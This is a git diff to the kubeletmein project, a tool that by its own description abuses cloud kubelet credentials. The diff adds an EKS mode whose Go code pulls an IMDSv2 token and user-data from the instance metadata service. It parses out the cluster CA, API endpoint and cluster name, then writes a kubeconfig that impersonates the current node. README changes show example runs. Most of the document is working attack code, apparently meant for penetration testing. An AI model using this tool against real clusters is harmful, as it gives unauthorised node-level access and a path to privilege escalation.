diff --git a/README.md b/README.md index 2de7973..59bb9df 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ GKE is fully supported and relies on the metadata concealmeant being disabled (t ### EKS -I'm working on support for EKS. It's actually a lot easier to exploit this on EKS than GKE. +EKS support added by @airman604 based on the AWS EKS [bootstrap script](https://github.com/awslabs/amazon-eks-ami/blob/master/files/bootstrap.sh). This is a one step process and doesn't create a fake node, but rather impersonates the node on which the pod is running. ### Digital Ocean @@ -67,7 +67,27 @@ kubectl --kubeconfig kubeconfig get pods ### EKS -Coming soon..... +On EKS we can impersonate current node in a single step using IAM authentication. + +``` +~ $ kubeletmein eks +2021-03-02T21:37:59Z [ℹ] generating kubeconfig for current EKS node +2021-03-02T21:37:59Z [ℹ] fetching cluster information from user-data from the metadata service +2021-03-02T21:37:59Z [ℹ] getting IMDSv2 token +2021-03-02T21:37:59Z [ℹ] getting user-data +2021-03-02T21:37:59Z [ℹ] generating EKS node kubeconfig file at: kubeconfig +2021-03-02T21:37:59Z [ℹ] wrote kubeconfig +2021-03-02T21:37:59Z [ℹ] to use the kubeconfig, download aws-iam-authenticator to the current directory and make it executable by following the instructions at https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html +2021-03-02T21:37:59Z [ℹ] then try: kubectl --kubeconfig kubeconfig get pods +``` + +Now you can use the kubeconfig, as it suggests. Follow the instructions at +https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html to download `aws-iam-authenticator` +(and make it executable), then run: + +``` +kubectl --kubeconfig kubeconfig get pods +``` ### Digital Ocean diff --git a/cmd/kubeletmein/main.go b/cmd/kubeletmein/main.go index 8ca70ef..a5fd79c 100644 --- a/cmd/kubeletmein/main.go +++ b/cmd/kubeletmein/main.go @@ -20,6 +20,7 @@ import ( "os" "github.com/4armed/kubeletmein/pkg/bootstrap" + "github.com/4armed/kubeletmein/pkg/eks" "github.com/4armed/kubeletmein/pkg/generate" "github.com/kubicorn/kubicorn/pkg/logger" "github.com/spf13/cobra" @@ -29,8 +30,10 @@ var cfgFile string // rootCmd represents the base command when called without any subcommands var rootCmd = &cobra.Command{ - Use: "kubeletmein", - Short: "Abuse public cloud provider kubelet creds", + Use: "kubeletmein", + Short: "Abuse public cloud provider kubelet creds", + SilenceErrors: true, + SilenceUsage: true, } func main() { @@ -43,6 +46,7 @@ func main() { func init() { rootCmd.AddCommand(bootstrap.Command()) rootCmd.AddCommand(generate.Command()) + rootCmd.AddCommand(eks.Command()) rootCmd.PersistentFlags().IntVarP(&logger.Level, "verbose", "v", 3, "set log level, use 0 to silence, 4 for debugging") rootCmd.PersistentFlags().BoolVarP(&logger.Color, "color", "C", true, "toggle colorized logs") diff --git a/pkg/eks/eks.go b/pkg/eks/eks.go new file mode 100644 index 0000000..83c54a0 --- /dev/null +++ b/pkg/eks/eks.go @@ -0,0 +1,214 @@ +// Copyright © 2021 Amiran Alavidze @airman604 +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +package eks + +import ( + "errors" + "fmt" + "io/ioutil" + "net/http" + "os" + "path/filepath" + "regexp" + "strings" + + "github.com/4armed/kubeletmein/pkg/config" + "github.com/kubicorn/kubicorn/pkg/logger" + "github.com/spf13/cobra" +) + +const ( + metadataIP = "169.254.169.254" +) + +func Command() *cobra.Command { + config := &config.Config{} + + cmd := &cobra.Command{ + Use: "eks", + Short: "Generate valid kubeconfig to impersonate current node in EKS.", + RunE: func(cmd *cobra.Command, args []string) error { + logger.Info("generating kubeconfig for current EKS node") + err := doCommand(config) + if err != nil { + return fmt.Errorf("unable to generate kubeconfig: %v", err) + } + + logger.Info("wrote kubeconfig") + logger.Info("to use the kubeconfig, download aws-iam-authenticator to the current directory and make it executable by following the instructions at https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html") + logger.Info("then try: kubectl --kubeconfig %v get pods", config.KubeConfig) + + return err + }, + } + + cmd.Flags().StringVarP(&config.KubeConfig, "kubeconfig", "k", "kubeconfig", "The filename to write the kubeconfig to") + + return cmd +} + +func getUserData() (string, error) { + // using AWS v2 metadata API (IMDSv2), get token first + logger.Info("getting IMDSv2 token") + client := &http.Client{} + req, err := http.NewRequest(http.MethodPut, "http://"+metadataIP+"/latest/api/token", nil) + if err != nil { + return "", err + } + // set token TTL to be 10 min + req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "600") + + resp, err := client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + tokenBytes, err := ioutil.ReadAll(resp.Body) + if err != nil { + return "", err + } + metadataToken := string(tokenBytes) + + // now request the instance provisioning data + logger.Info("getting user-data") + req, err = http.NewRequest(http.MethodGet, "http://"+metadataIP+"/latest/user-data", nil) + if err != nil { + return "", err + } + req.Header.Set("X-aws-ec2-metadata-token", metadataToken) + + resp, err = client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + userDataBytes, err := ioutil.ReadAll(resp.Body) + if err != nil { + return "", err + } + + return string(userDataBytes), nil +} + +type eksKubeConfigInfo struct { + caData string + kubeMaster string + clusterName string +} + +// parse user-data from the metadata service +func parseUserData(userData string) (*eksKubeConfigInfo, error) { + // userData should contain the following lines: + // B64_CLUSTER_CA=... + // API_SERVER_URL=... + // /etc/eks/bootstrap.sh ... + re := regexp.MustCompile(`(?m)^B64_CLUSTER_CA=(.*)$`) + caData := re.FindStringSubmatch(userData) + if caData == nil { + return nil, errors.New("Error while parsing user-data, could not find B64_CLUSTER_CA") + } + + re = regexp.MustCompile(`(?m)^API_SERVER_URL=(.*)$`) + k8sMaster := re.FindStringSubmatch(userData) + if k8sMaster == nil { + return nil, errors.New("Error while parsing user-data, could not find API_SERVER_URL") + } + + re = regexp.MustCompile(`(?m)^/etc/eks/bootstrap.sh\s+(\S+)\s`) + clusterName := re.FindStringSubmatch(userData) + if clusterName == nil { + return nil, errors.New("Error while parsing user-data, could not find cluster name from bootstrap.sh parameters") + } + + result := &eksKubeConfigInfo{ + caData: caData[1], + kubeMaster: k8sMaster[1], + clusterName: clusterName[1], + } + return result, nil +} + +func kubeConfigTemplate() string { + // template from https://github.com/awslabs/amazon-eks-ami/blob/master/files/kubelet-kubeconfig + // same information here: https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html + kubeconfig := "" + + "apiVersion: v1\n" + + "kind: Config\n" + + "clusters:\n" + + "- cluster:\n" + + " certificate-authority-data: B64_CA_DATA\n" + + " server: MASTER_ENDPOINT\n" + + " name: kubernetes\n" + + "contexts:\n" + + "- context:\n" + + " cluster: kubernetes\n" + + " user: kubelet\n" + + " name: kubelet\n" + + "current-context: kubelet\n" + + "users:\n" + + "- name: kubelet\n" + + " user:\n" + + " exec:\n" + + " apiVersion: client.authentication.k8s.io/v1alpha1\n" + + " command: AWS_IAM_AUTHENTICATOR\n" + + " args:\n" + + " - \"token\"\n" + + " - \"-i\"\n" + + " - \"CLUSTER_NAME\"\n" //+ + // " - --region\n" + + // " - \"AWS_REGION\"\n" + + + return kubeconfig +} + +func doCommand(c *config.Config) error { + + // get user-data from the metadata service + logger.Info("fetching cluster information from user-data from the metadata service") + userData, err := getUserData() + if err != nil { + return err + } + + kubeInfo, err := parseUserData(userData) + if err != nil { + return err + } + + // construct file path for aws-iam-authenticator - assume it will be downloaded to the current dir + dir, err := os.Getwd() + if err != nil { + return err + } + authenticatorPath := filepath.Join(dir, "aws-iam-authenticator") + + // template from https://github.com/awslabs/amazon-eks-ami/blob/master/files/kubelet-kubeconfig + // same information here: https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html + kubeconfig := kubeConfigTemplate() + + kubeconfig = strings.ReplaceAll(kubeconfig, "B64_CA_DATA", kubeInfo.caData) + kubeconfig = strings.ReplaceAll(kubeconfig, "MASTER_ENDPOINT", kubeInfo.kubeMaster) + kubeconfig = strings.ReplaceAll(kubeconfig, "CLUSTER_NAME", kubeInfo.clusterName) + kubeconfig = strings.ReplaceAll(kubeconfig, "AWS_IAM_AUTHENTICATOR", authenticatorPath) + + logger.Info("generating EKS node kubeconfig file at: %v", c.KubeConfig) + err = ioutil.WriteFile(c.KubeConfig, []byte(kubeconfig), 0644) + if err != nil { + return fmt.Errorf("error while writing kubeconfig file: %v", err) + } + + return err +}